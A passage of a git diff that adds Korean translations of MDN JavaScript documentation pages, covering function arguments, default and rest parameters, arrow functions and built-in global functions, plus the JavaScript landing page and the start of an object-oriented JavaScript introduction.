+  return {
+    setName: function(name) {    // 내부 함수 또한 "name" 이라는 변수를 정의하였다
+      name = name;               // ??? 어떻게 우리는 외부 함수에 정의된 "name"에 접근할까???
+    }
+  }
+}
+</pre>
+
+<h2 id="인수(arguments)_객체_사용하기">인수(arguments) 객체 사용하기</h2>
+
+<p>함수의 인수는 배열과 비슷한 객체로 처리가 됩니다. 함수 내에서는, 전달 된 인수를 다음과 같이 다룰 수 있습니다. :</p>
+
+<pre class="brush: js">arguments[i]
+</pre>
+
+<p>i 는 0 으로 시작하는 순서 번호입니다. 따라서 함수에 전달된 첫 번째 인수는 <code>arguments[0]</code> 입니다. 총 인수의 개수는 <code>arguments.length</code> 에서 얻을 수 있습니다.</p>
+
+<p>인수(<code>arguments</code>) 객체를 이용하면, 보통 함수에 정의된 개수보다 많은 인수를 넘겨주면서 함수를 호출할 수 있습니다. 이것은 얼마나 많은 인수가 함수로 넘겨질지 모르는 상황에서 유용합니다. <code>arguments.length</code>를 함수에 실제로 넘겨받은 인수의 수를 알아낼 때 사용할 수 있고 , 각각의 인수에 인수(<code>arguments</code>) 객체를  이용하여 접근 할 수 있습니다.</p>
+
+<p>예를 들어, 몇 개의 문자열을 연결하는 함수를 생각해 봅시다. 이 함수의 유일한 형식 인수는 각 문자열을 구분해주는 문자를 나타내는 문자열입니다 . 이 함수는 다음과 같이 정의됩니다:</p>
+
+<pre class="brush: js">function myConcat(separator) {
+   var result = ""; // 리스트를 초기화한다
+   var i;
+   // arguments를 이용하여 반복한다
+   for (i = 1; i &lt; arguments.length; i++) {
+      result += arguments[i] + separator;
+   }
+   return result;
+}
+</pre>
+
+<p>어떤 개수의 인수도 이 함수로 넘겨줄 수 있고, 이 함수는 각각의 인수를 하나의 문자열 "리스트" 로 연결합니다. :</p>
+
+<pre class="brush: js">// returns "red, orange, blue, "
+myConcat(", ", "red", "orange", "blue");
+
+// returns "elephant; giraffe; lion; cheetah; "
+myConcat("; ", "elephant", "giraffe", "lion", "cheetah");
+
+// returns "sage. basil. oregano. pepper. parsley. "
+myConcat(". ", "sage", "basil", "oregano", "pepper", "parsley");
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 인수(arguments) 객체는 배열과 닮은 것이지 배열이 아닙니다. 인수(arguments) 객체는 번호 붙여진 인덱스와 길이 속성을 가지고 있다는 점에서 배열과 닮은 것입니다. 인수(arguments) 객체는 배열을 다루는 모든 메서드를 가지고 있지 않습니다.</p>
+</div>
+
+<p>더 자세한 정보를 얻고 싶으면 자바스크립트 참조문의 {{jsxref("Function")}}객체에 대하여 보세요.</p>
+
+<h2 id="함수의_매개변수">함수의 매개변수</h2>
+
+<p> ECMAScript 2015와 함께 시작된,두 종류의 매개변수가 있습니다 : 디폴트 매개변수 , 나머지 매개변수.</p>
+
+<h3 id="디폴트_매개변수">디폴트 매개변수</h3>
+
+<p>자바스크립트에서, 함수의 매개변수는 <code>undefined</code> 가 기본으로 설정됩니다. 그러나, 어떤 상황에서는 다른 값을 기본값으로 가진 것이 유용할 때가 있습니다. 이때가 디폴트 매개변수가 도움을 줄 수 있는 상황입니다.</p>
+
+<p>옛날엔, 기본값을 설정하는 보편적인 전략은 함수의 본문에서 매개변수 값을 테스트하여 그 값이 <code>undefined</code> 인 경우에 값을 할당하는 것이었습니다. 다음과 같은 예제에서, 함수호출 시 <code>b</code> 매개변수에 아무 값을 주지 않으면, <code>a*b</code> 계산 시 <code>b</code> 매개변수의 값은 <code>undefined</code> 일 것이므로 <code>multiply</code> 함수 호출은 <code>NaN</code>을 리턴할 것입니다. 그러나 이런 것은 이 예제의 2번째 줄에서 걸립니다:</p>
+
+<pre class="brush: js">function multiply(a, b) {
+  b = typeof b !== 'undefined' ?  b : 1;
+
+  return a*b;
+}
+
+multiply(5); // 5
+</pre>
+
+<p>디폴트 매개변수와 함께라면, 함수 본문에서 검사하는 부분은 필요가 없습니다. 이제 , 함수 머리에서 <code>b</code> 의 기본값에 간단히 1을 넣어주면 됩니다:</p>
+
+<pre class="brush: js">function multiply(a, b = 1) {
+  return a*b;
+}
+
+multiply(5); // 5</pre>
+
+<p>더 자세한 내용을 보고 싶으시면,  <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> 문서를 참조하세요.</p>
+
+<h3 id="나머지_매개변수">나머지 매개변수</h3>
+
+<p> <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">나머지 매개변수</a> 구문을 사용하면 배열로 불확실한 개수의 인수를 나타낼 수 있습니다. 이 예제에서, 우리는 나머지 매개변수를 2번째 인수부터 마지막 인수까지 얻기 위하여 사용하였습니다. 그리고 우리는 첫번째 값으로 나머지 매개변수에 곱하였습니다. 이 예제는 다음 섹션에서 소개할  화살표(arrow) 함수 입니다.</p>
+
+<pre class="brush: js">function multiply(multiplier, ...theArgs) {
+  return theArgs.map(x =&gt; multiplier * x);
+}
+
+var arr = multiply(2, 1, 2, 3);
+console.log(arr); // [2, 4, 6]</pre>
+
+<h2 id="화살표_함수">화살표 함수</h2>
+
+<p> <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">화살표 함수 표현</a> (<strong>뚱뚱한 화살표(fat arrow) 함수라고 알려진</strong>)은 함수 표현과 비교하였을때 짧은 문법을 가지고 있고 사전적으로 this 값을 묶습니다. 화살표 함수는 언제나 익명입니다. hacks.mozilla.org 블로그 포스트 "<a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">ES6 In Depth: Arrow functions</a>" 를 참조하세요.</p>
+
+<p>화살표  함수 소개에 영향을 주는 두 요소: 더 짧은 함수와 바인딩 되지않은 <code>this</code>.</p>
+
+<h3 id="더_짧은_함수">더 짧은 함수</h3>
+
+<p>어떤 함수적 패턴에서는, 더 짧은 함수가 환영받습니다. 다음을 비교해 보세요:</p>
+
+<pre class="brush: js">var a = [
+  "Hydrogen",
+  "Helium",
+  "Lithium",
+  "Beryl­lium"
+];
+
+var a2 = a.map(function(s){ return s.length });
+
+console.log(a2); // logs [8, 6, 7, 9]
+
+var a3 = a.map( s =&gt; s.length );
+
+console.log(a3); // logs [8, 6, 7, 9]</pre>
+
+<h3 id="사전적_this">사전적 <code>this</code></h3>
+
+<p>화살표 함수에서, 모든 new함수들은  그들의  <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a> 값을 정의합니다 (생성자로서의 새로운 객체, 정의되지 않은 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>의 함수 호출,   함수가 "object method"로 호출했을때의 context object ,등등.). 이런 것은 객체지향 프로그래밍 스타일에서 짜증을 불러 일으킵니다.</p>
+
+<pre class="brush: js">function Person() {
+  // The Person() constructor defines `<code>this`</code> as itself.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // In nonstrict mode, the growUp() function defines `this`
+    // as the global object, which is different from the `this`
+    // defined by the Person() constructor.
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>IECMAScript 3/5 에서는, 이 문제는 <code>this</code> 안의 값을 뒤덮을 수 있는변수에 할당하면서 고쳐졌습니다.</p>
+
+<pre class="brush: js">function Person() {
+  var self = this; // Some choose `that` instead of `self`.
+                   // Choose one and be consistent.
+  self.age = 0;
+
+  setInterval(function growUp() {
+    // The callback refers to the `self` variable of which
+    // the value is the expected object.
+    self.age++;
+  }, 1000);
+}</pre>
+
+<p>또는, 적절한 <code>this</code> 값이 <code>growUp()</code> 함수에 전달되도록, <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">바인딩된 함수</a>가 생성될 수 있습니다.</p>
+
+
+
+<p>화살표 함수에는 <code>this;</code>가 없습니다. 화살표 함수를 포함하는 객체 값이 사용됩니다. 따라서 다음 코드에서 setInterval에 전달 된 함수 내의 this 값은 화살표 함수를 둘러싼 함수의 this와 같은 값을 갖습니다.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">Person</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">this</span><span class="punctuation token">.</span>age <span class="operator token">=</span> <span class="number token">0</span><span class="punctuation token">;</span>
+
+  <span class="function token">setInterval</span><span class="punctuation token">(</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="operator token">=</span><span class="operator token">&gt;</span> <span class="punctuation token">{</span>
+    <span class="keyword token">this</span><span class="punctuation token">.</span>age<span class="operator token">++</span><span class="punctuation token">;</span> <span class="comment token">// |this| properly refers to the person object</span>
+  <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="number token">1000</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="keyword token">var</span> p <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Person</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="미리_정의된_함수들">미리 정의된 함수들</h2>
+
+<p>자바스크립트에는 최고 등급의 몇가지 내장함수가 있습니다:</p>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/eval", "eval()")}}</dt>
+ <dd>
+ <p><code><strong>eval()</strong></code> 메소드는 문자열로 표현된 자바스크립트 코드를 수행합니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p><code><strong>uneval()</strong></code> 메소드는  {{jsxref("Object")}}의 소스코드를 표현하는 문자열을 만듭니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</dt>
+ <dd>
+ <p>전역 <code><strong>isFinite()</strong></code> 함수는 전달받은 값이 유한한지 결정합니다. 만약 필요하다면, 매개변수는 첫번째로 숫자로 변환됩니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</dt>
+ <dd>
+ <p><code><strong>isNaN()</strong></code> 함수는 {{jsxref("Global_Objects/NaN", "NaN")}}인지 아닌지 결정합니다. Note:  <code>isNaN</code> 함수 안의 강제 변환은  <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN#Description">흥미로운</a> 규칙을 가지고 있습니다;  {{jsxref("Number.isNaN()")}}을 대신 사용하고 싶을것입니다, ECMAScript 6 에서 정의된,또는 값이 숫자값이 아닐때,  <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></code> 를 사용할 수도 있습니다 .</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</dt>
+ <dd>
+ <p><code><strong>parseFloat()</strong></code> 함수는  문자열 인수 값을 해석하여 부동소숫점 수를 반환합니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</dt>
+ <dd>
+ <p><code><strong>parseInt()</strong></code> 함수는 문자열 인수 값을 해석하여 특정한 진법의 정수를 반환합니다  (수학적 수 체계를 기반으로 해서).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</dt>
+ <dd>
+ <p><code><strong>decodeURI()</strong></code> 함수는  사전에 {{jsxref("Global_Objects/encodeURI", "encodeURI")}}을 통해 만들어지거나 비슷한 과정을 통해 만들어진 URI(Uniform Resource Identifier)  를 해독합니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</dt>
+ <dd>
+ <p><code><strong>decodeURIComponent()</strong></code> 메소드는 사전에{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}를 통하여 만들어 지거나 또는 비슷한 과정을 통해 만들어진 URI (Uniform Resource Identifier) 컴포넌트를 해독합니다.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</dt>
+ <dd>
+ <p><code><strong>encodeURI()</strong></code> 메소드는  URI(Uniform Resource Identifier)를  각 인스턴스의 특정한 문자를 한개, 두개,세개, 또는 네개의 UTF-8인코딩으로 나타내어지는 연속된 확장문자들과 바꾸는 방법으로 부호화 합니다 .(두"surrogate"문자로 구성된 문자들은 오직 네개의 연속된 확장문자 입니다. ).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</dt>
+ <dd>
+ <p><code><strong>encodeURIComponent()</strong></code> 메소드는  URI(Uniform Resource Identifier) 컴포넌트를  각 인스턴스의 특정한 문자를 한개, 두개,세개, 또는 네개의 UTF-8인코딩으로 나타내어지는 연속된 확장문자들과 바꾸는 방법으로 부호화 합니다 .(두"surrogate"문자로 구성된 문자들은 오직 네개의 연속된 확장문자 입니다. ).).</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>곧 사라질 <code><strong>escape()</strong></code> 메소드는 한 문자열에서 특정 문자들이 16진 확장 비트열로 바뀌어진 문자열로 계산합니다.  {{jsxref("Global_Objects/encodeURI", "encodeURI")}} 또는 {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}} 를 사용하세요.</p>
+ </dd>
+ <dt>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</dt>
+ <dd>
+ <p>곧 사라질 <code><strong>unescape()</strong></code> 메소드는 문자열에서 확장 비트열이 확장 비트열이 나타내는 문자로 바뀌어진 문자열로 계산합니다.  {{jsxref("Global_Objects/escape", "escape")}}에서 확장 비트열이 소개될 것입니다.  <code>unescape()</code> 메소드가 곧 사라지기 때문에,  {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} 를 대신 사용하세요.</p>
+ </dd>
+</dl>
+
+<p>{{PreviousNext("Web/JavaScript/Guide/Loops_and_iteration", "Web/JavaScript/Guide/Expressions_and_Operators")}}</p>
+
+<div class="itanywhere-activator" style="left: 154px; top: 13819.2px; display: none;" title="Google Translator Anywhere"></div>
+
+<div class="itanywhere-activator" style="display: none;" title="Google Translator Anywhere"></div>
diff --git a/files/ko/web/javascript/index.html b/files/ko/web/javascript/index.html
new file mode 100644
index 0000000000..923d422500
--- /dev/null
+++ b/files/ko/web/javascript/index.html
@@ -0,0 +1,118 @@
+---
+title: JavaScript
+slug: Web/JavaScript
+tags:
+  - JavaScript
+  - Landing
+  - Learn
+  - 'l10n:priority'
+  - 자바스크립트
+translation_of: Web/JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<p class="summary"><span class="seoSummary"><strong>JavaScript</strong>(JS)는 가벼운 인터프리터 또는 <a href="https://ko.wikipedia.org/wiki/JIT_%EC%BB%B4%ED%8C%8C%EC%9D%BC">JIT 컴파일</a> 프로그래밍 언어로, {{Glossary("First-class Function", "일급 함수")}}를 지원합니다. 웹 페이지의 스크립트 언어로서 제일 유명하지만 {{Glossary("Node.js")}}, <a href="https://couchdb.apache.org/">Apache CouchDB</a>, <a href="http://www.adobe.com/devnet/acrobat/javascript.html">Adobe Acrobat</a>처럼 <a class="external" href="https://en.wikipedia.org/wiki/JavaScript#Uses_outside_Web_pages">많은 비 브라우저 환경</a>에서도 사용하고 있습니다.</span> JavaScript는 {{Glossary("Prototype-based programming", "프로토타입 기반")}}의 동적 다중 패러다임 스크립트 언어로, 객체지향형, 명령형, 선언형(함수형 프로그래밍 등) 스타일을 지원합니다. 자세한 내용은 <a href="/ko/docs/Web/JavaScript/About">JavaScript에 대하여</a>를 참고하세요.</p>
+
+<p>이 문서는 JavaScript 언어 자체만 다루며 웹 페이지를 비롯한 다른 사용 환경에 대해서는 다루지 않습니다. 웹 페이지의 특정 {{Glossary("API")}}에 대하여 알고 싶다면 <a href="/ko/docs/Web/API">웹 API</a>와 <a href="/ko/docs/Glossary/DOM">DOM</a>을 참고하시기 바랍니다.</p>
+
+<p>JavaScript의 표준은 <a href="/ko/docs/Web/JavaScript/언어_리소스">ECMAScript</a>입니다. 2012년 기준 <a href="http://kangax.github.io/compat-table/es5/">최신 브라우저</a>는 모두 ECMAScript 5.1을 온전히 지원합니다. 이전 브라우저의 경우는 최소한 ECMAScript 3까지는 지원합니다. 2015년 6월 17일 <a href="http://www.ecma-international.org">ECMA International</a>에서는 공식명 ECMAScript 2015 로 불리는 ECMAScript의 6번째 주 버전을 발표했습니다(보통 ECMAScript 6 혹은 ES6으로 불립니다). 그 이후 ECMAScript 표준의 출시 주기는 1년입니다. 이 문서는 최신 초안(현재 <a class="external" href="https://tc39.github.io/ecma262/">ECMAScript 2020</a>)에 기반을 둡니다.</p>
+
+<p>JavaScript를 <a href="https://ko.wikipedia.org/wiki/%EC%9E%90%EB%B0%94_(%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%98%EB%B0%8D_%EC%96%B8%EC%96%B4)">Java 프로그래밍 언어</a>와 혼동해서는 안 됩니다. "Java"와 "JavaScript" 두 가지 모두 Oracle이 미국 및 기타 국가에 등록한 상표입니다. 하지만, 두 언어는 문법 체계와 사용 방법이 전혀 다릅니다.</p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="자습서">자습서</h2>
+
+<p>안내서 및 자습서와 함께 JavaScript 프로그램을 짜는 법을 알아보세요.</p>
+
+<h3 id="입문">입문</h3>
+
+<p>JavaScript를 배우고 싶지만 JavaScript 또는 프로그래밍에 대한 이전 경험이 없는 경우 <a href="/ko/docs/Learn/JavaScript">Web 개발 학습하기의 JavaScript 주제</a>를 방문하세요. 사용할 수 있는 전체 모듈은 다음과 같습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Learn/JavaScript/First_steps">JavaScript 첫 걸음</a></dt>
+ <dd>"JavaScript는 무엇인가요?", "어떤 모습인가요?", "뭘 할 수 있나요?"와 같은 기본적인 질문에 대답하면서 변수, 문자열, 숫자, 배열과 같은 JavaScript의 주요 기능에 대해서도 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Building_blocks">JavaScript 구성 요소</a></dt>
+ <dd>JavaScript의 핵심 기본 기능에 대한 이해를 넓히기 위해 조건문, 반복문, 함수, 이벤트와 같이 흔히 찾을 수 코드 블록의 형태에 대해서 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Objects">JavaScript 객체 소개</a></dt>
+ <dd>JavaScript에 대한 지식을 쌓고, 보다 효율적인 코드를 작성하기 위해서는 JavaScript의 객체지향적인 모습을 이해해야 합니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Asynchronous">비동기 JavaScript</a></dt>
+ <dd>비동기 JavaScript가 중요한 이유와, 비동기적 코드를 사용해 서버에서 리소스 가져오기 등 블록킹 연산을 효율적으로 처리하는 방법을 알아봅니다.</dd>
+ <dt><a href="/ko/docs/Learn/JavaScript/Client-side_web_APIs">클라이언트측 웹 API</a></dt>
+ <dd>API란 무엇인지 탐색해보고, 제일 흔히 사용해서 개발 중 자주 마주치게 될 일부 API의 사용법을 배웁니다.</dd>
+ <dt>
+ <h3 id="JavaScript_안내서">JavaScript 안내서</h3>
+ </dt>
+ <dt><a href="/ko/docs/Web/JavaScript/Guide">JavaScript 안내서</a></dt>
+ <dd>
+ <p>JavaScript 또는 다른 언어의 경험을 가진 독자를 대상으로 한 JavaScript 상세 안내서입니다.</p>
+ </dd>
+</dl>
+
+<h3 id="중급">중급</h3>
+
+<dl>
+ <dt><a href="/ko/docs/A_re-introduction_to_JavaScript" title="A re-introduction to JavaScript">JavaScript 재입문</a></dt>
+ <dd>JavaScript에 대해 안다고 <em>생각하는</em> 이들을 위한 개요.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Data_structures" title="JavaScript data structures">JavaScript 데이터 구조</a></dt>
+ <dd>JavaScript에서 이용 가능한 데이터 구조 개요.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness" title="Equality comparisons and sameness">같음 비교 및 동일성</a></dt>
+ <dd>JavaScript는 세 가지 다른 값 비교 연산을 제공합니다: <code>===</code>를 사용한 엄격한(strict) 같음, <code>==</code>를 사용한 느슨한(loose) 같음 및 {{jsxref("Global_Objects/Object/is", "Object.is()")}} 메서드.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Guide/Closures">클로저</a></dt>
+ <dd>클로저는 함수와 그 함수가 선언 된 어휘 환경의 조합입니다.</dd>
+</dl>
+
+<h3 id="고급">고급</h3>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain" title="Inheritance and the prototype chain">상속 및 프로토타입 체인</a></dt>
+ <dd>널리 오해 받고 과소 평가된 프로토타입(원형) 기반 상속의 설명.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Strict_mode" title="Strict mode">엄격 모드</a></dt>
+ <dd>엄격 모드는 초기화 전에 어떤 변수도 사용할 수 없음을 정의합니다. 이는 빠른 성능 및 쉬운 디버깅을 위한 ECMAScript 5의 제한된 변형(variant)입니다.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Typed_arrays" title="JavaScript typed arrays">JavaScript 형식화된 배열</a></dt>
+ <dd>JavaScript 형식화된 배열은 원시(raw) 이진 데이터에 접근하기 위한 메커니즘을 제공합니다.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Memory_Management">메모리 관리</a></dt>
+ <dd>JavaScript에서 메모리 라이프 사이클 및 가비지 컬렉션.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/EventLoop" title="Concurrency model and Event Loop">동시성 모델 및 이벤트 루프</a></dt>
+ <dd>JavaScript "이벤트 루프"에 기반을 둔 동시성 모델이 있습니다.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="참고서">참고서</h2>
+
+<p>전체 <a href="/ko/docs/Web/JavaScript/Reference" title="JavaScript reference">JavaScript 참고서</a>를 훑어보세요.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects" title="Standard objects">표준 객체</a></dt>
+ <dd>{{jsxref("Array")}}, {{jsxref("Boolean")}}, {{jsxref("Date")}}, {{jsxref("Error")}}, {{jsxref("Function")}}, {{jsxref("JSON")}}, {{jsxref("Math")}}, {{jsxref("Number")}}, {{jsxref("Object")}}, {{jsxref("RegExp")}}, {{jsxref("String")}}, {{jsxref("Map")}}, {{jsxref("Set")}}, {{jsxref("WeakMap")}}, {{jsxref("WeakSet")}} 등 표준 내장 객체 알아가기.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Operators" title="Expressions and operators">표현식 및 연산자</a></dt>
+ <dd>JavaScript 연산자 {{jsxref("Operators/instanceof", "instanceof")}}, {{jsxref("Operators/typeof", "typeof")}}, {{jsxref("Operators/new", "new")}}, {{jsxref("Operators/this", "this")}}의 행동, <a href="/ko/docs/Web/JavaScript/Reference/Operators/연산자_우선순위" title="operator precedence">연산자 우선순위</a> 등에 대해 더 알아보기.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Statements" title="Statements and declarations">명령문 및 선언문</a></dt>
+ <dd>{{jsxref("Statements/do...while", "do-while")}}, {{jsxref("Statements/for...in", "for-in")}}, {{jsxref("Statements/for...of", "for-of")}}, {{jsxref("Statements/try...catch", "try-catch")}}, {{jsxref("Statements/let", "let")}}, {{jsxref("Statements/var", "var")}}, {{jsxref("Statements/const", "const")}}, {{jsxref("Statements/if...else", "if-else")}}, {{jsxref("Statements/switch", "switch")}} 등의 JavaScript 명령문 및 키워드 작동 법 배우기.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Reference/Functions" title="Functions">함수</a></dt>
+ <dd>어플리케이션 개발에 JavaScript 함수로 작업하는 법 배우기.</dd>
+</dl>
+
+<h2 id="도구_자원">도구 &amp; 자원</h2>
+
+<p><strong>JavaScript</strong> 코드 작성과 디버깅을 돕는 유용한 도구 모음입니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/도구들" title="Firefox Developer Tools">Firefox 개발자 도구</a></dt>
+ <dd><a href="/ko/docs/도구들/Web_Console">Web Console</a>, <a href="/ko/docs/도구들/Performance">JavaScript Profiler</a>, <a href="/ko/docs/도구들/Debugger">Debugger</a> 등.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/Shells">JavaScript 쉘</a></dt>
+ <dd>빠르게 JavaScript 코드 조각(snippet)을 테스트할 수 있는 JavaScript 쉘.</dd>
+ <dt><a href="https://togetherjs.com/">TogetherJS</a></dt>
+ <dd>간편한 협업.</dd>
+ <dt><a href="http://stackoverflow.com/questions/tagged/javascript">Stack Overflow</a></dt>
+ <dd>"JavaScript" 태그가 달린 Stack Overflow 질문.</dd>
+ <dt><a href="/ko/docs/Web/JavaScript/New_in_JavaScript" title="JavaScript versions and release notes">JavaScript 버전 및 출시 노트</a></dt>
+ <dd>JavaScript 기능 역사 및 구현 상태 훑어보기.</dd>
+ <dt><a href="https://jsfiddle.net/">JSFiddle</a></dt>
+ <dd>JavaScript, CSS, HTML 편집 및 실시간 결과 얻기. 외부 자원(resource)을 사용하며 온라인으로 팀과 협업하기.</dd>
+ <dt><a href="https://plnkr.co/">Plunker</a></dt>
+ <dd>Plunker는 온라인에서 여러분의 웹 개발 아이디어를 실제로 만들거나 다른사람과 공유 협업하는 커뮤니티 입니다. 실시간으로 JavaScrip, CSS, HTML을 만들고 편집 할 수 있습니다.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/web/javascript/introduction_to_object-oriented_javascript/index.html b/files/ko/web/javascript/introduction_to_object-oriented_javascript/index.html
new file mode 100644
index 0000000000..67b15b963d
--- /dev/null
+++ b/files/ko/web/javascript/introduction_to_object-oriented_javascript/index.html
@@ -0,0 +1,289 @@
+---
+title: 객체지향 자바스크립트 개요
+slug: Web/JavaScript/Introduction_to_Object-Oriented_JavaScript
+translation_of: Learn/JavaScript/Objects
+---
+<p>비록 다른 객체지향적인 언어들과의 차이점에 대한 논쟁들이 있긴 하지만, JavaScript는 강력한 객체지향 프로그래밍 능력들을 지니고 있다.</p>
+
+<p>이 글에서는 객체지향 프로그래밍에 대해 소개하는 것으로 시작해서 자바스크립트의 객체 모델, 그리고 자바스크립트에서의 객체지향 프로그래밍 개념에 대해 간단한 예제로 살펴볼 것이다.</p>
+
+<h2 id="JavaScript_Review" name="JavaScript_Review">자바스크립트 리뷰(JavaScript review)</h2>
+
+<p>만약 변수, 형, 함수, 스코프 등 자바스크립트의 개념에 대해 명확히 이해하고 있지 못하다면, <a href="/en/JavaScript/A_re-introduction_to_JavaScript" title="en/JavaScript/A_re-introduction_to_JavaScript">A re-introduction to JavaScript</a>를 참고해 보자. <a href="/en/JavaScript/Guide" title="en/JavaScript/Guide">Core JavaScript 1.5 Guide</a>라는 글도 도움이 될 것이다.</p>
+
+<h2 id="Object-oriented_programming" name="Object-oriented_programming">객체지향 프로그래밍(Object-oriented programming)</h2>
+
+<p>객체지향 프로그래밍은 실제 세계에 기반한 모델을 만들기 위해 추상화를 사용하는 프로그래밍 패러다임이다. 객체지향 프로그래밍은 modularity, polymorphism, encapsulation을 포함하여 이전에 정립된 패러다임들부터 여러가지 테크닉들을 사용한다. 오늘날 많은 유명한 프로그래밍 언어(자바, 자바스크립트, C#, C++, 파이썬, PHP, 루비, 오브젝트C)는 객체지향 프로그래밍을 지원한다.</p>
+
+<p>객체지향 프로그래밍은 함수들의 집합 혹은 단순한 컴퓨터의 명령어들의 목록 이라는 기존의 프로그래밍에 대한 전통적인 관점에 반하여, 관계성있는 객체들의 집합이라는 관점으로 접근하는 소프트웨어 디자인으로 볼 수 있다. 객체지향 프로그래밍에서, 각 객체는 메시지를 받을 수도 있고, 데이터를 처리할 수도 있으며, 또다른 객체에게 메시지를 전달할 수도 있다. 각 객체는 별도의 역할이나 책임을 갖는 작은 독립적인 기계로 볼 수 있는 것이다.</p>
+
+<p>객체지향 프로그래밍은 보다 유연하고 유지보수성이 높은 프로그래밍을 하도록 의도되었고, 대규모 소프트웨어 공학에서 널리 알려져 있다. 객체지향 프로그래밍이 갖는 modularity에 기반한 강력한 힘에 의해, 객체지향적인 코드는 개발을 보다 단순하게 했고, 시간이 흐른 뒤에도 보다 쉽게 이해할 수 있도록 했으며, 복잡한 상황이나 절차들을 덜 모듈화된 프로그래밍 방법들보다 더 직접적으로 분석하고, 코딩하고, 이해할 수 있도록 만들었다.<sup><a href="#Reference">2</a></sup></p>
+
+<h2 id="Terminology" name="Terminology">용어(Terminology)</h2>
+
+<dl>
+ <dt>Class</dt>
+ <dd>객체의 특성을 정의</dd>
+ <dt>Object</dt>
+ <dd>Class의 인스턴스</dd>
+ <dt>Property</dt>
+ <dd>객체의 특성(예: 색깔)</dd>
+ <dt>Method</dt>
+ <dd>객체의 능력(예: 걷기)</dd>
+ <dt>Constructor</dt>
+ <dd>인스턴스화 되는 시점에서 호출되는 메서드</dd>
+ <dt>Inheritance</dt>
+ <dd>클래스는 다른 클래스로부터 특성들을 상속받을 수 있다.</dd>
+ <dt>Encapsulation</dt>
+ <dd>클래스는 해당 객체의 특성들만을 정의할 수 있고, 메서드는 그 메서드가 어떻게 실행되는지만 정의할 수 있다. (외부 접근 불가)</dd>
+ <dt>Abstraction</dt>
+ <dd>복잡한 상속, 메서드, 객체의 속성의 결합은 반드시 현실 세계를 시뮬레이션할 수 있어야 한다.</dd>
+ <dt>Polymorphism</dt>
+ <dd>다른 클래스들이 같은 메서드나 속성으로 정의될 수 있다.</dd>
+</dl>
+
+<p>객체지향 프로그래밍에 대한 보다 확장된 설명은 <a class="external" href="http://en.wikipedia.org/wiki/Object_oriented_programming">Object-oriented programming</a>를 참고하면 된다.</p>
+
